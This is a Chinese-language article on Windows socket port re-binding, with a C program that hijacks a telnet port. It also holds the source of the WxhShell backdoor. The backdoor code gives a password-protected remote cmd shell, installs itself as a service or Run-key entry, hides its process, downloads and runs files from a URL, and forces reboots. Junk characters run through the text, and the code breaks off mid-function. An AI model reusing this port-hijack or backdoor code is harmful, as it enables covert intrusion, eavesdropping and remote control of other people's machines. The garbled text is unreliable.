在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
U^ BB| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3 Yl[J;i cd}TDd(H% saddr.sin_family = AF_INET;
V]}/e!XK\ ?"AcK"v saddr.sin_addr.s_addr = htonl(INADDR_ANY);
a(Z" }m K@*m6) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
e,I-u'mLQs M:?eK
[h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M 0-> ?MeP<5\A 这意味着什么?意味着可以进行如下的攻击:
K1z"..(2J f7OfN#I 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Fw:s3ON9} >T~{_|N 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=]7|*- CT4R/wzY7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+C\?G/ KnZm(c9+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
pM[UC{ F5L/7j<} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
OR&+`P"-\ 0y'34} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{b/60xl? $if(`8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
)'%L#
oG@P M+{ #include
*goi^Xp #include
I+O!<SB #include
z!Jce}mx #include
3SQ
5C'E DWORD WINAPI ClientThread(LPVOID lpParam);
+cy(}Vp int main()
h.'h L {
S%&l(=0X WORD wVersionRequested;
O0b8wpFf DWORD ret;
9>@_};l WSADATA wsaData;
scL7PxJ5 BOOL val;
3{CGYd]_u SOCKADDR_IN saddr;
P9`i6H'~ SOCKADDR_IN scaddr;
~`tc|Zu int err;
@b!fs SOCKET s;
WF-imI:EK SOCKET sc;
&$hfAG]" int caddsize;
:CHCVoh@95 HANDLE mt;
7-e)V{A`w DWORD tid;
@zfeCxVOA wVersionRequested = MAKEWORD( 2, 2 );
o?{VGJH<v err = WSAStartup( wVersionRequested, &wsaData );
>&?wo{b if ( err != 0 ) {
[4xN:i printf("error!WSAStartup failed!\n");
tvRa.3 return -1;
0e vxRcrzz }
Kt}dTpVFr saddr.sin_family = AF_INET;
pJ_Z[}d)c FG#E?G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5+%BZ zCvR/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:Fj4YP" saddr.sin_port = htons(23);
'U}i<^,c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
E
C 7 f {
o}WbW }& printf("error!socket failed!\n");
3L>V-RPi M return -1;
aeUm,'Y$ }
uX}M0W val = TRUE;
by6E
"7% //SO_REUSEADDR选项就是可以实现端口重绑定的
%q>gwq
A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
E? F @ {
_rjCwo\ printf("error!setsockopt failed!\n");
|k
4+I return -1;
F>*w)6 4~ }
<\zb*e&vr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
, is
.{y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
z
eIBB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
UQW;!8J#R( >y]YF3? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
AS;{O>}54 {
`m'2RNSc+# ret=GetLastError();
?Cu#( printf("error!bind failed!\n");
*QLl
jGe return -1;
4\sS }
-JwH^*Ad listen(s,2);
fngZ0k! while(1)
-QS_bQG% {
e`}|*^- caddsize = sizeof(scaddr);
"t_] Qu6 //接受连接请求
i@B5B2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
a+]=3o if(sc!=INVALID_SOCKET)
uF(-h~ {
Ti' GSL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%8{' XJ! if(mt==NULL)
yY_]YeeR {
]Dx?HBM"DC printf("Thread Creat Failed!\n");
nh9K( break;
kt;X|`V{5z }
dwx1EdJ{ }
t]vX9vv+D CloseHandle(mt);
;#xhlR* ~ }
?'_iqg3 closesocket(s);
m?B@VDZ WSACleanup();
pbm4C0W} return 0;
j<L!ONvJ1 }
MF E%q DWORD WINAPI ClientThread(LPVOID lpParam)
A H#e>kU^ {
};zF& SOCKET ss = (SOCKET)lpParam;
4a)qn?<z SOCKET sc;
t9P` nfY unsigned char buf[4096];
23+GX&Rp SOCKADDR_IN saddr;
.+[[m$J long num;
HmX(=Y DWORD val;
iwmXgsRa9} DWORD ret;
:EA,0 , //如果是隐藏端口应用的话,可以在此处加一些判断
>J8?n,* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
J::SFu= saddr.sin_family = AF_INET;
>/'WU79TYE saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`C!Pe84( saddr.sin_port = htons(23);
s` S<BX7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[|F.*06SK {
! B)Em printf("error!socket failed!\n");
vB.LbYyF return -1;
=~HX/]zF }
$rjv4e}7 val = 100;
@[JQCQ#r if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jJ?3z,h {
J-,T^Wv ret = GetLastError();
bq
~'jg^# return -1;
45-pJf8F }
mfx'Yw*{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
sk],_ l< {
C2`END; ret = GetLastError();
+pjD{S~Y return -1;
3d,|26I 7f }
H<FDi{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
E|^a7-}| {
z-,U(0 . printf("error!socket connect failed!\n");
_N<qrH^; closesocket(sc);
D@j `'&G closesocket(ss);
`,7BU??+u return -1;
cCj}{=U }
e| kYu[^ while(1)
v1)jZ.: {
beIEy(rA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&_-~kU1K^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
>)VrbPRuA
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2&Efqy8}DZ num = recv(ss,buf,4096,0);
~^3B(feQ]
if(num>0)
f8uVk|a send(sc,buf,num,0);
^R2:Z&Iv% else if(num==0)
'rCwPsI&4 break;
8} S|iM num = recv(sc,buf,4096,0);
8"S0E(,mu if(num>0)
Wxg|jP$~ send(ss,buf,num,0);
) I5f`r=Ry else if(num==0)
6w@l#p break;
9h9Y:i*Gh5 }
%Y!lEzB5 closesocket(ss);
dch(HB}[ closesocket(sc);
2KPXRK return 0 ;
k'u2a }
8taaBM`: OY@/18D<> u37+B ==========================================================
%_/_klxnO ?EtK/6dJZt 下边附上一个代码,,WXhSHELL
s=KA(4p fC81(5 ==========================================================
5SK.R;mn LL:B
H,[ #include "stdafx.h"
U:IQWl C jdoI)J@9H #include <stdio.h>
`Y'}\>.# #include <string.h>
$aVcWz% #include <windows.h>
UDxfS4yI #include <winsock2.h>
Pu}2%P)p #include <winsvc.h>
xEZvCwsb #include <urlmon.h>
Wk$%0xZ7 ~>qcV=F^d, #pragma comment (lib, "Ws2_32.lib")
[z Y9"B<3 #pragma comment (lib, "urlmon.lib")
Lo !kv* 7j@TW%FmV\ #define MAX_USER 100 // 最大客户端连接数
o 0fsM;K #define BUF_SOCK 200 // sock buffer
R2r0'Yx #define KEY_BUFF 255 // 输入 buffer
q`qbaX\J3 =NlAGzv!w #define REBOOT 0 // 重启
XV!P8n #define SHUTDOWN 1 // 关机
:]?I| .a 7@06x+! #define DEF_PORT 5000 // 监听端口
Aw >DZ2 'Z;R!@Dm #define REG_LEN 16 // 注册表键长度
U?.VY@ #define SVC_LEN 80 // NT服务名长度
'{C=vW ,@GI3bl // 从dll定义API
AC
3 ;i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=G*<WcR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[,lBY-Kz+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
y5oiH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
MF>?! ! C/lpSe // wxhshell配置信息
H!7/U_AH struct WSCFG {
T}U`?s`) int ws_port; // 监听端口
V<(cW'zA/ char ws_passstr[REG_LEN]; // 口令
a N_M int ws_autoins; // 安装标记, 1=yes 0=no
NO;+:0n char ws_regname[REG_LEN]; // 注册表键名
.,feRK>3 char ws_svcname[REG_LEN]; // 服务名
Vbz$dpT char ws_svcdisp[SVC_LEN]; // 服务显示名
;B!&( 50e char ws_svcdesc[SVC_LEN]; // 服务描述信息
[{'` | char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+AXui|mn int ws_downexe; // 下载执行标记, 1=yes 0=no
(?oK+,v?L char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7TlOF char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.p <!2 X(N!y"z };
Pq !\6s@ 91[(K'=& // default Wxhshell configuration
[9*+s struct WSCFG wscfg={DEF_PORT,
@_0XK)pW "xuhuanlingzhe",
[?_^Cy 1,
_PQQ&e)E "Wxhshell",
F DXAe-|Q "Wxhshell",
{QJJw}!# "WxhShell Service",
td{$c6 "Wrsky Windows CmdShell Service",
V\4'Hd "Please Input Your Password: ",
wR\%tumk 1,
Z+FJ cvYx "
http://www.wrsky.com/wxhshell.exe",
A)'{G "Wxhshell.exe"
9Yd<_B# };
Ptn0;GC )g+~"&Gcx // 消息定义模块
1@;Dn' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"){"{~ char *msg_ws_prompt="\n\r? for help\n\r#>";
P;][i| x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
7'CdDB6&. char *msg_ws_ext="\n\rExit.";
THkg,*;: char *msg_ws_end="\n\rQuit.";
_-^a8F>/19 char *msg_ws_boot="\n\rReboot...";
qgDd^0 char *msg_ws_poff="\n\rShutdown...";
t 8|i>(O char *msg_ws_down="\n\rSave to ";
D8G5,s-. ;MR8E9 char *msg_ws_err="\n\rErr!";
3hGYNlQ^ char *msg_ws_ok="\n\rOK!";
(jtrQob <Y9e n!3\ char ExeFile[MAX_PATH];
N-y[2]J90 int nUser = 0;
"V}WV!w HANDLE handles[MAX_USER];
UM3}7| int OsIsNt;
d3<7t sA#}0>`3S SERVICE_STATUS serviceStatus;
iTwb#Q= SERVICE_STATUS_HANDLE hServiceStatusHandle;
'de&9\ K>N\U@@8i // 函数声明
Y2W|b5 int Install(void);
Ja"?Pb int Uninstall(void);
yxik`vmH int DownloadFile(char *sURL, SOCKET wsh);
J<yt/V] int Boot(int flag);
o7;lR? void HideProc(void);
eD4X:^@ int GetOsVer(void);
e?,n> int Wxhshell(SOCKET wsl);
58V`I5_ void TalkWithClient(void *cs);
`zwXfY,% int CmdShell(SOCKET sock);
kZ>_m&g int StartFromService(void);
X @RS
/ int StartWxhshell(LPSTR lpCmdLine);
kc-=5l ,` 6O{Z~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2Jo|]>nl}u VOID WINAPI NTServiceHandler( DWORD fdwControl );
lK
5@qG# SYkwM6 // 数据结构和表定义
s'b 4Me SERVICE_TABLE_ENTRY DispatchTable[] =
u%!/-&?wF {
:m]H?vq] \ {wscfg.ws_svcname, NTServiceMain},
OD]`oJ| {NULL, NULL}
X6*4IE };
9sG]Q[:.] xy))}c% // 自我安装
-M5vh~Tp int Install(void)
dhv?36uE {
f$ 9O0,}%O char svExeFile[MAX_PATH];
``4e& HKEY key;
;x%"o[[> strcpy(svExeFile,ExeFile);
:y'EIf <-;/,uu // 如果是win9x系统,修改注册表设为自启动
,cE yV74 if(!OsIsNt) {
4a}[&zm(5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hz:h>Hwy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0xVw{k}1U RegCloseKey(key);
& OYo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x<5ARK6\= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K*I!:1;3N RegCloseKey(key);
/9ctmW1!< return 0;
@GUlw[vi }
j 5}'* }
,_iq$I; }
iR?}^|] else {
!6!Gx: cX7 O*5C // 如果是NT以上系统,安装为系统服务
]-8WM5\qJM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
3 {$vN). if (schSCManager!=0)
}`cf3'rdk {
|;:g7eb SC_HANDLE schService = CreateService
dq,j?~ _} (
Yw] 7@ schSCManager,
plL|Ubn wscfg.ws_svcname,
aD]!
eP/) wscfg.ws_svcdisp,
wg%g(FO SERVICE_ALL_ACCESS,
"i#aII+T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Jvc:)I1NE7 SERVICE_AUTO_START,
bTU[E SERVICE_ERROR_NORMAL,
vAp<Muj(a svExeFile,
m<H{@ZgN( NULL,
zD)/Q FILy NULL,
]Hp>~Zvbb NULL,
XeX\u3<D NULL,
DA1?M' N NULL
.7]P-]uOZ );
o?Aj6fNY? if (schService!=0)
L!>nl4O>` {
m _cRK}> CloseServiceHandle(schService);
28k=@k^q CloseServiceHandle(schSCManager);
+F-EgF+J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
a`L:E'|B9 strcat(svExeFile,wscfg.ws_svcname);
1U%
/~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{{jV!8wK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pO_IUkt RegCloseKey(key);
}}"pQ!Z return 0;
h PL]B_< }
}R`Rqg-W }
(+c1 .h CloseServiceHandle(schSCManager);
;z.L^V0 }
|BbzRis }
)adV`V%=> q`,%L1c4 return 1;
[Ur\^wS }
nl
qn:[BU D"J',YN$ // 自我卸载
Fvf|m7 int Uninstall(void)
]}dQ~lOE {
om`T/@_, HKEY key;
D"rbQXR7$ #MKM.T,\t if(!OsIsNt) {
&\1n=y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Jy5sZ}t[ RegDeleteValue(key,wscfg.ws_regname);
N+'j on}U RegCloseKey(key);
_Ao$)Gu) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"$XX4w
M RegDeleteValue(key,wscfg.ws_regname);
jMgXIK\ RegCloseKey(key);
GlnO8cAB return 0;
yVII<ImqIH }
+? h}e }
Keozn*fzI }
'C/yQvJ
else {
<XIIT-b[ qT48Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
oQ 2$z8 if (schSCManager!=0)
)rq |t9kix {
MC* Hl`C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^cm]
[9 if (schService!=0)
g:>'+(H ; {
T9C_=0(hn if(DeleteService(schService)!=0) {
0^lWy+ CloseServiceHandle(schService);
CmZayV CloseServiceHandle(schSCManager);
h:nybLw? return 0;
X/yq<_ g }
&}r"Z?f) CloseServiceHandle(schService);
fes s6=k }
b,Oh8O;> CloseServiceHandle(schSCManager);
.qgUD }
H5T_i$W }
G18w3BFx ]K"&Vd return 1;
N%
4"9K }
GC{M"q|_ V5w1ET // 从指定url下载文件
Nob(D'vSr int DownloadFile(char *sURL, SOCKET wsh)
{drc}BL_ {
5~|{:29X HRESULT hr;
BDTL5N char seps[]= "/";
L=l&,ENy char *token;
}(oeNPM8 char *file;
TaN{xpo char myURL[MAX_PATH];
rZ~w_DK* char myFILE[MAX_PATH];
flsejj$ )h8}{* strcpy(myURL,sURL);
bC/":+s& p token=strtok(myURL,seps);
)th[fUC( while(token!=NULL)
Q?#I{l)V( {
J;C:nE|V
file=token;
uh)S;3| token=strtok(NULL,seps);
1^!SuAA@ }
>Icr4?zq `#N/]4(j GetCurrentDirectory(MAX_PATH,myFILE);
|_V(^b} strcat(myFILE, "\\");
QO2cTk
m strcat(myFILE, file);
y0%1YY send(wsh,myFILE,strlen(myFILE),0);
q` q;og
` send(wsh,"...",3,0);
`Mnu<)v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
rmiOeS`: if(hr==S_OK)
=~B"8@B return 0;
J@s>Pe) else
K#0TD(" return 1;
aQCu3T ieFl4hh[G }
8]ZzO(=@{ .T|
}rB<c // 系统电源模块
0zaK&]oY0 int Boot(int flag)
A&Y5z[p {
;mkkaW,D* HANDLE hToken;
x HRSzYn$ TOKEN_PRIVILEGES tkp;
,`@pi@<"# 7?$?Yu if(OsIsNt) {
j/FLEsU!R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
={qcDgn~C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
eU[g@Pq:Y tkp.PrivilegeCount = 1;
o*S_" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
D 2X_Yv AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xN 1P# if(flag==REBOOT) {
O
G`8::S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,/42^|=Z6O return 0;
/Mqhx_)>A }
9iA rBL" else {
U1[)e D` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Lo%n{*if return 0;
WYw#mSp }
9)Fx;GxL }
tt"<1
z@ else {
t`Kbm''d[ if(flag==REBOOT) {
6b2UPI7m~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
szI7I$Qb return 0;
M/zO|-j& }
,_2-Op else {
T5S4,.o9W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{>]\< return 0;
p3I"LY }
3JCo!n0 }
]&cnc8tC :xd;=;q5 return 1;
qJhsMo2IH }
1Kg0y71" f7Gn$E|/r; // win9x进程隐藏模块
d1b]+A G4 void HideProc(void)
L, JQ\!c {
=!q%
1 mP |>.Q U3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Cp8=8N(Xb if ( hKernel != NULL )
p0+^wXi) {
RB 5SK#z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
v pI9TG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Dw-d`8* FreeLibrary(hKernel);
IG781:,/ }
!wAT`0<94F |=?#Xbxz return;
NAbVH{*\U }
-@orIwA& }9~^}99} // 获取操作系统版本
.iXN~*+g int GetOsVer(void)
$l7^-SK`E {
64s;EC OSVERSIONINFO winfo;
uqMw-f/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
$[gN#QW% GetVersionEx(&winfo);
Y'v[2s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]lB zp D return 1;
5xQ-f else
Cf{F"o return 0;
$ghZ<Y2}9 }
}3pM,. @<.@X*#I // 客户端句柄模块
Gw
M:f/eV int Wxhshell(SOCKET wsl)
(3#PKfY+ {
I \:WD" SOCKET wsh;
&V"oJ}M/a struct sockaddr_in client;
!X>u.}?g DWORD myID;
e+
xQ\LH Sj9fq* while(nUser<MAX_USER)
YOCEEh? {
$.G 7Vt int nSize=sizeof(client);
Dl,QCZeM wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
S,Y|;p<+^ if(wsh==INVALID_SOCKET) return 1;
c}(WniR-" *@U{[J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
hHs/Qtq if(handles[nUser]==0)
#6`5-5Ks; closesocket(wsh);
P3M$&::D- else
6{Wo5O{!\ nUser++;
f:c'j` }
aSL`yuXu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1+l 8%G=hB rIyH/=; return 0;
Hbm 4oYN }
_;lw,;ftA tFN >]`Z // 关闭 socket
dzVi ~wt_& void CloseIt(SOCKET wsh)
@MW@mP)# {
+-9vrEB closesocket(wsh);
g=*jKSZ nUser--;
P 7x;G5'. ExitThread(0);
3h:j.8Z }
=ily=j"hK .3!Wr*o // 客户端请求句柄
IqOg{#sm void TalkWithClient(void *cs)
.sMs_ 5D {
s**<=M GK Fq9YhR SOCKET wsh=(SOCKET)cs;
Y.:R-|W char pwd[SVC_LEN];
h2l;xt char cmd[KEY_BUFF];
$Y/9SD
char chr[1];
0;Z|:\P\= int i,j;
<izQ]\kL
Fr%# while (nUser < MAX_USER) {
! 'zd(kv< T$Z9F^w if(wscfg.ws_passstr) {
TpjiKM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m]p{]6h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*}[\%u$ T //ZeroMemory(pwd,KEY_BUFF);
;>6< u.N i=0;
wxN)dB while(i<SVC_LEN) {
(In{GA7; f/Gx}x= // 设置超时
53Adic fd_set FdRead;
Di9RRHn&q struct timeval TimeOut;
U82a]i0 FD_ZERO(&FdRead);
#Z&/w.D2 FD_SET(wsh,&FdRead);
9zaNfs TimeOut.tv_sec=8;
nt.LiM/L TimeOut.tv_usec=0;
QX,$JM3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
kZ]H[\Fs if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
MP]<m7669* =BJLj0=N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%sa?/pjK pwd
=chr[0]; j"W>fC/u
if(chr[0]==0xd || chr[0]==0xa) { 4u{S?Ryy
pwd=0; Y&|Z*s+
+}
break; 6FS%9.Ws
} kY0HP a
i++; XS<>0YM
} $vn6%M[
3JazQU
// 如果是非法用户,关闭 socket #3uv^m LGa
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d;i|s[6ds`
} A5l Cc
b
7ZcF0h
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ycA<l"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Qgu:)}
$8EEtr,!
while(1) { P.~UUS
| dQ>)_
ZeroMemory(cmd,KEY_BUFF); kVnRSg}R
X>(1fra4
// 自动支持客户端 telnet标准 '
jciX]g
j=0; MK<
y$B{}
while(j<KEY_BUFF) { ('J/Ww<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o3WOp80hz
cmd[j]=chr[0]; /:|vJ|dJ
if(chr[0]==0xa || chr[0]==0xd) { >P6"-x,["
cmd[j]=0; oFk2y ^>u
break; a ~o<>H
} XF`2*:7
j++; P^Hgm
} +Y;P*U}Qg[
Mz+I
YP`L
// 下载文件 h>Kx
if(strstr(cmd,"http://")) { 1"
'3/MFQ8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ple.fKu
if(DownloadFile(cmd,wsh)) kk4 |4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !$I~3_c
else 5epI'D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a@}.96lStD
} %VHy?!/
else { (leX` SN0u
Iix,}kzss
switch(cmd[0]) { r&=ulg
,BdObx
// 帮助 jkeerU6
case '?': { $QbJT`,mr
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W'G|sk
break; c
r=Q39{
} gC7!cn
// 安装 `Fqth^RK?p
case 'i': { RB>=#03
if(Install()) K)SWM3r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #*A'<Zm
else .:_'l)-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
3@Ndn
break; nnlj#
} Z[O
hZ 9
// 卸载 zCs34=3D[
case 'r': { HcRw9,I'
if(Uninstall()) dCx63rF`G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uYW4$6S3
else &1\/B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,GOIg|51
break; rFzNdiY
} ]2zM~
// 显示 wxhshell 所在路径 Jv~R/qaaD
case 'p': { +%5 L2/n7
char svExeFile[MAX_PATH]; rzY)vC+ZT
strcpy(svExeFile,"\n\r"); :8S;34Y;
strcat(svExeFile,ExeFile); =%_=!%
send(wsh,svExeFile,strlen(svExeFile),0); 0nc(2Bi
break; hB[bth
} vNi;)"&*
// 重启 #.8v[TkKq
case 'b': { lKbWQ>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )x-b+SC
if(Boot(REBOOT)) j26i+Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +!).'
else { \((MoQ9Qk
closesocket(wsh); (Y py}
ExitThread(0); jUT`V
ZK4&
} *%uz LW0
break; a)|y0w)vV
} L:
$
`8
// 关机 a\sK{`|X*
case 'd': { _\AQJ?<M
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *QK)
1Y1W
if(Boot(SHUTDOWN)) r3V1l8MV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S5>s&
else { !~
o%KQt
closesocket(wsh); FNGa4
ExitThread(0); sRB=<E*_
} [;m@A\F
break; TX)W.2u=
} 8Qi)E1n
// 获取shell
}$oS/bo
case 's': { c[2t,+O
CmdShell(wsh); 3ynkf77cn
closesocket(wsh); |bk9<i ?
ExitThread(0); r8"2C#
break; =gF035
} 6R :hs C$
// 退出 w!lk&7Q7Z
case 'x': { x'EEmjJ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _2KIe(,;
CloseIt(wsh); jCY~Wc
break; +~n:*\
} 9]Jv
>_W*
// 离开 e&sH<hWR
case 'q': { <F^9ML+'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Zf=A[
closesocket(wsh); $yU
5WEX
WSACleanup(); Zk`y"[ J
exit(1); =A!oLe$%
break; /? %V%
n
} I`{3I-E
} tR51Pw
} GR|\OJ<2
P!-RZEt$
// 提示信息 b5MBzFw
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iM!Ya!
} b}TvQ+W]2
} h6k" D4o\
Z9:
return; -k + jMH
} ;gBR~W
&G2&OFAr]q
// shell模块句柄 4eWv).
int CmdShell(SOCKET sock) gWgp:;Me
{ a&{Y~Og?%
STARTUPINFO si; fXWy9 #M
ZeroMemory(&si,sizeof(si)); %NQ
mV_1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k'r} @-X
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yeyDB>#Va.
PROCESS_INFORMATION ProcessInfo; h: yJ
char cmdline[]="cmd"; 4T@+gy^.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a~Dk@>+P>
return 0; `h'+4
} 0n:cmML)D
_Q:z -si
// 自身启动模式 OUWK
int StartFromService(void) YPx+9^)
{ DpggZ|J
typedef struct )bM,>x
{ KBM*7raA
DWORD ExitStatus; N3$1f$`
DWORD PebBaseAddress; 3li$)S1z
DWORD AffinityMask; 4T3Z9KD!8
